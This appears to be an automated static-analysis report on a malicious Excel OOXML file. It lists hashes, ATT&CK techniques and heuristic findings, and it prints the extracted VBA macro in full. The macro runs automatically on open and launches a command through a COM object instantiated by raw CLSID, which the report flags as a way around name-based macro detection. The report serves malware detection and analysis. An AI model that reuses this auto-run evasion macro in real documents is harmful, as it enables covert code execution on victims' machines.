Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 91daf640ea11464b…

MALICIOUS

Office (OOXML)

12.9 KB Created: 2021-06-08 07:44:17 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-20
MD5: da55e2e8fcaab419b2a9d1440f5b1e42 SHA-1: cf0a190d1cdeeb078348d2bd5d9ef2288f4bc5cc SHA-256: 91daf640ea11464b280afd040ce4f325591f9bd78dac013df6af84f97d3d6faf
108 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing a VBA macro that is automatically executed upon opening. The AutoOpen macro uses GetObject to instantiate a COM object and then executes the command 'calc ipconfig /all' in a new process. This indicates an attempt to run arbitrary commands on the victim's system.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Sub AutoOpen()
    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute "calc", "ipconfig /all", "C:\Windows\System32", Null, 1
  • VBA instantiates a COM class by raw CLSID high OLE_VBA_GETOBJECT_CLSID_EVASION
    VBA uses GetObject("new:{CLSID}") to instantiate a COM class by raw CLSID rather than a CreateObject ProgID — an uncommon bypass of name-based macro detection.
    Matched line in script
    Sub AutoOpen()
    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute "calc", "ipconfig /all", "C:\Windows\System32", Null, 1
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 801 bytes
SHA-256: 9bf5907cf974451975f892512701219508f307ee670ff4ab0b0d68ef5ae6a9c9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoOpen()
    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute "calc", "ipconfig /all", "C:\Windows\System32", Null, 1
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 13824 bytes
SHA-256: 2141d78a73706fb5592204f770ecacb87f9630f35cb009098d25ed6d63101103

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